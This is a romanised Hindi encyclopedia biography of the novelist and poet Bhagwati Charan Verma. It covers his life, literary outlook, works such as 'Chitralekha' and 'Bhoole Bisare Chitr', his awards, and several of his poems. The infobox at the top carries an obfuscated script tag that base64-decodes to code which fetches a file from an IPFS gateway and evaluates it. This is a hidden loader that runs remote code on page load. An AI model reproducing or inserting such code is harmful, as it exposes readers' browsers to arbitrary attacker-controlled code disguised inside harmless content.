भगवतीचरण वर्मा

bhagavaticharan varma bhagavaticharan varma|200px|center poora nam bhagavaticharan varma janm 30 agast, 1903 janm bhoomi unnav zila, uttar pradesh mrityu 5 aktoobar, 1981 karm bhoomi lakhanoo karm-kshetr sahityakar mukhy rachanaean 'chitralekha', 'bhoole bisare chitr', 'sidhe sachchi batean', 'sabahi nachavat ram gusaee', 'ajnat desh se ana', 'aj manav ka sunahala prat hai', 'meri kavitaean', 'meri kahaniyaan', 'morchabandi', 'vasiyat'. vishay upanyas, kahani, kavita, sansmaran, sahity alochana, natak, patrakar. bhasha hindi vidyalay ilahabad vishvavidyalay shiksha bi.e., el.el.bi. puraskar-upadhi sahity akadami puraskar, padmabhooshan prasiddhi upanyasakar nagarikata bharatiy inhean bhi dekhean kavi soochi, sahityakar soochi <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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bhagavaticharan varma (aangrezi: Bhagwaticharan Verma, janm- 30 agast, 1903, uttar pradesh; mrityu- 5 aktoobar, 1981) hindi jagath ke pramukh sahityakar the. unhoanne lekhan tatha patrakarita ke kshetr mean hi pramukh roop se kary kiya. kavi ke roop mean bhagavaticharan varma ke rediyo roopak 'mahakal', 'karn' aur 'dropadi'- jo 1956 ee. mean 'tripathaga' ke nam se ek sankalan ke akar mean prakashit hue, unaki vishisht kritiyaan haian. yadyapi unaki prasiddh kavita 'bhaiansaga di' ka adhunik hindi kavita ke itihas mean apana mahattv hai.

jivan parichay

hindi ke prasiddh sahityakar bhagavaticharan varma ka janm 30 agast, 1903 ee. mean unnav zile, uttar pradesh ke shaphipur gaanv mean hua tha. inhoanne ilahabad vishvavidyalay se bi.e., el.el.bi. ki pariksha uttirn ki. bhagavaticharan varma ji ne lekhan tatha patrakarita ke kshetr mean hi pramukh roop se kary kiya. isake bich-bich mean inake film tatha akashavani se bhi sambaddh rahe. bad mean yah svatantr lekhan ki vritti apanakar lakhanoo mean bas gaye. inhean rajyasabha ki manad sadasyata prapt karayi gee.

bhagavaticharan varma ji ne ek bar apane sambandh mean kaha tha-

maian mukhy roop se upanyasakar hooan, kavi nahian-aj mera upanyasakar hi sajag rah gaya hai, kavita se lagav chhoot gaya hai.

koee unase sahamat ho ya n ho, yah mane ya n mane, ki ve mukhyat: upanyasakar haian aur kavita se unaka lagav chhoot gaya hai. unake adhikaansh bhavak yah svikar kareange ki sachamuch hi kavita se varmaji ka sambandh vichchhinn ho gaya hai, ya ho sakata hai. unaki atma ka sahaj svar kavita ka hai, unaka vyaktitv shayarana alh dapan, rangini aur masti ka sudhara-sanvara hua roop hai. ve kisi 'vad' vishesh ki paridhi mean bahut dinoan tak giraftar nahian rahe. yoan ek-ek karake pray: pratyek 'vad' ko unhoanne tatola hai, dekha hai, samajhane-apanane ki cheshta ki hai, par unaki sahaj svatantryapriyata, roomani baicheni, alh dapan aur masti, har bar unhean 'vadoan' ki divarean to dakar bahar nikal ane ke lie prerana deti rahi aur prerana ke sath-sath use karyanvit karane ki kshamata aur shakti bhi. yahi alh dapan aur roomani masti inake krititv mean kisi bhi vidha ke aantargat kyoan n ho jahaan ek or pran phooank deti hai, vahian doosari or usake shilp paksh ki or se unhean kuchh-kuchh laparavah bhi bana deti hai. ve chhandobaddh kavita ke hami haian, usi ko kavita manate haian, par yah unaki sahaj svatantryapriyata ke prati niyati ka halka, mitha sa parihas hi hai.

visheshata

bhagavaticharan varma upadeshak nahian haian, n vicharak ke asan par baithane ki akaanksha hi kabhi unake man mean uthi. ve jivan bhar sahajata ke prati asthavan rahe, jo chhayavadottar hindi sahity ki ek pramukh visheshata rahi. ek ke bad ek 'vad' ko thok-bajakar dekhane ke bad jyoan hi unhean vishvas hua ki usake sath unaka sahaj sambandh nahian ho sakata, use chho dakar gate-jhoomate, hansate-hansate age badhe. apane prati, apane 'ahan' ke prati unaka sahaj anurag akshunn bana raha. anek tedhe-medhe rastoan se ghumata hua unaka 'ahan' unhean apane sahajadharm aur sahajadharm ki khoj mean jane kahaan-kahaan le gaya. unaka sahityik jivan kavita se bhi aur chhayavadi kavita se arambh hua, par n to ve chhayavadi kavyanubhooti ke ashariri adharoan ke prati akarshit hue, n usaki atishay mridulata ko hi kabhi apana sake. isi prakar any 'vadoan' mean bhi kabhi poori tarah aur chirakal ke lie apane ko baandh nahian paye. apane 'ahan' ke prati itane eemanadar sadaiv rahe ki zabaran bandhane ki koshish nahian ki. kisi doosare ki manyataoan ko bina svayan un par vishvas kiye apani manyataean nahian samajha. kahian se vichar ya darshan unhoanne udhar nahian liya. jo the, usase bhinn dekhane ki cheshta kabhi nahian ki.

pramukh kritiyaan

kavi ke roop mean bhagavaticharan varma ke rediyo roopak 'mahakal', 'karn' aur 'dropadi'- jo 1956 ee. mean 'tripathaga' ke nam se ek sankalan ke akar mean prakashit hue haian, unaki vishisht kritiyaan haian. yadyapi unaki prasiddh kavita 'bhaiansaga di' ka adhunik hindi kavita ke itihas mean apana mahattv hai. manavavadi drishtikon ke tatv, jinake adhar par pragativadi kavyadhara jani-pahachani jane lagi, 'bhaiansaga di' mean bhali-bhaanti ubhar kar samane aye the. unaka pahala kavita sangrah 'madhukan' ke nam se 1932 ee. mean prakashit hua. tadanantar do aur kavy sangrah 'prem sangit' aur 'manav' nikale. inhean kisi 'vad' vishesh ke aantargat manana galat hai. roomani masti, niyativad, pragativad, antat: manavavad inaki vishishtata hai.

kritiyaan

upanyas	any kritiyaan
apane khilaune	meri kahaniyaan (kahani)
patan	morchabandi (kahani)
tin varsh	meri kavitaean (kavita)
chitralekha	atit ki gart se (sansmaran)
bhoole bisare chitr	sahity ke siddhaant tatha roop (sahity alochana)
tedhe medhe raste	mere natak (kavita)
sidhi sachchi batean	vasiyat (kavita)
samarthy aur sima	'ianstalament'
rekha	'do baanke'
vah phir nahian aee	'rakh aur chinagari' (kahani 1953 ee.)
sabahian nachavat ram gosaeean	'rupaya tumhean kha gaya' (natak 1955 ee.)
prashn aur marichika	'vasavadatta' (sinariyoan)
yuvaraj chooanda	-
dhuppal	-

sangit

varmaji ka sangit vina ya sitar ka nahian, harmoniyam ka sangit hai, usase gamak ki maang karana zyadati hai.

upanyasakar

bhagavaticharan varma mukhyataya upanyasakar hoan ya kavi, nam unaka upanyasakar ke roop mean hi adhik hua hai, visheshataya 'chitralekha' ke karan. 'tin varsh' nayi sabhyata ki chakachauandh se pathabhrasht yuvak ki manasik vyatha ki kahani hai. tin varsh aur tedhe-medhe raste rajanitik aur samajik prishthabhoomi mean pray: yantravath parichalit patroan ke madhyam se lekhak yah dikhane ki cheshta karata hai ki samaj ki drishti mean ooanchi aur udatt jan p danevali bhavanaoan ke pichhe jo preranaean haian, ve aur kuchh nahian keval atyant samany svarthaparata aur lobh ki adham manovrittiyoan ki hi den haian. akhiri daanv ek juari ke asaphal prem ki katha hai aur apane khilaune (1957 ee.) nayi dilli ki 'm aaurdan sosayati' par vyangyasharavarshan hai. inaka brihattam aur sarvadhik saphal upanyas bhoole bisare chitr (1959) hai, jisamean anubhooti aur sanvedana ki kalatmak satyata ke sath unhoanne tin pidhiyoan ka, bharat ke svatantry andolan ke tin yugoan ki prishthabhoomi mean marmik chitran kiya hai.

puraskar

bhagavaticharan varma ko bhoole bisare chitr par sahity akadami puraskar aur padmabhooshan se sammanit kiya gaya.

mrityu

bhagavaticharan varma ka nidhan 5 aktoobar, 1981 ee. ko hua tha.

rachanaean

tum mriganayani tum mriganayani, tum pikabayani tum chhavi ki parinita-si, apani besudh madakata mean bhooli-si, bhayabhita si . tum ullas bhari aee ho tum aeean uchchhh‌vas bhari, tum kya jano mere ur mean kitane yug ki pyas bhari . shat-shat madhu ke shat-shat sapanoan ki pulakit parachhaeean-si, malay-vichumbit tum oosha ki anuranjit arunaee-si ; tum abhiman-bhari aee ho apana nav-anurag lie, tum kya jano ki maian tap raha kis asha ki ag lie . bhare hue soonepan ke tam mean vidyut ki rekha-si; asaphalata ke pat par aankit tum asha ki lekha-si ; aj hriday mean khianch aee ho tum asim unmad lie, jab ki mit raha tha maian til-til sima ka apavad lie . chakit aur alasit aankhoan mean tum sukh ka sansar lie, manthar gati mean tum jivan ka garv bhara adhikar lie . dol rahi ho aj hat mean bol pyar ke bol yahaan, maian divana nij pranoan se karane aya mol yahaan . arun kapoloan par lajja ki bhini-si muskan lie, surabhit shvasoan mean yauvan ke alasae-se gan lie , baras p di ho mere maroo mean tum sahasa rasadhar bani, tumamean lay hokar abhilasha ek bar sakar bani . tum hansati-hansati aee ho hansane aur hansane ko, maian baitha hooan pane ko phir pa karake lut jane ko . tum kri da ki utsukata-si, tum rati ki tanmayata-si; mere jivan mean tum ao, tum jivan ki mamata-si.

kal sahasa yah sandesh mila kal sahasa yah sandesh mila. soone-se yug ke bad mujhe॥ kuchh rokar, kuchh krodhit ho kar. tum kar leti ho yad mujhe॥ girane ki gati mean milakar. gatimay hokar gatihin hua॥ ekakipan se aya tha. ab soonepan mean lin hua॥ yah mamata ka varadan sumukhi. hai ab keval apavad mujhe॥ maian to apane ko bhool raha. tum kar leti ho yad mujhe॥ pulakit sapanoan ka kray karane. maian aya apane pranoan se॥ lekar apani komalataoan ko. maian takaraya pashanoan se॥ mit-mitakar maianne dekha hai mit janevala pyar yahaan॥ sukumar bhavana ko apani. ban jate dekha bhar yahaan॥ uttapt maroosthal bana chuka. vismriti ka visham vishad mujhe॥ kis asha se chhavi ki pratima. tum kar leti ho yad mujhe॥ hans-hansakar kab se masal raha. hooan maian apane vishvasoan ko॥ pagal banakar maian pheank raha. hooan kab se ulate paansoan ko॥ pashuta se til-til har raha. hooan manavata ka daanv are॥ nirday vyangoan mean badal rahe. mere ye pal anurag-bhare॥ ban gaya ek astitv amit. mit jane ka avasad mujhe॥ phir kis abhilasha se roopasi. tum kar leti ho yad mujhe॥ yah apana-apana bhagy, mila. abhishap mujhe, varadan tumhean॥ jag ki laghuta ka jnan mujhe. apani guruta ka jnan tumhean॥ jis vidhi ne tha sanyog racha. usane hi racha viyog priye॥ mujhako rone ka rog mila. tumako hansane ka bhog priye॥ sukh ki tanmayata tumhean mili. pi da ka mila pramad mujhe॥ phir ek kasak banakar ab kyoan. tum kar leti ho yad mujhe॥

ajnat desh se ana maian kab se dhooandh raha hooan. apane prakash ki rekha॥ tam ke tat par aankit hai. niahsim niyati ka lekha॥ dene vale ko ab tak. maian dekh nahian paya hooan॥ par pal bhar sukh bhi dekha. phir pal bhar du:kh bhi dekha॥ kis ka alok gagan se. ravi shashi udugan bikharate॥ kis aandhakar ko lekar. kale badal ghir ate॥ us chitrakar ko ab tak. maian dekh nahian paya hooan॥ par dekha hai chitroan ko. ban-banakar mit-mit jate॥ phir uthana, phir gir p dana. asha hai, vahian nirasha॥ kya adi-ant sansriti ka. abhilasha hi abhilasha॥ ajnat desh se ana. ajnat desh ko jana॥ ajnat are kya itani. hai ham sab ki paribhasha॥ pal-bhar parichit van-upavan. parichit hai jag ka prati kan॥ phir pal mean vahian aparichit. ham-tum, sukh-sushama, jivan॥ hai kya rahasy banane mean. hai kaun saty mitane mean॥ mere prakash dikhala do. mera bhoola apanapan॥

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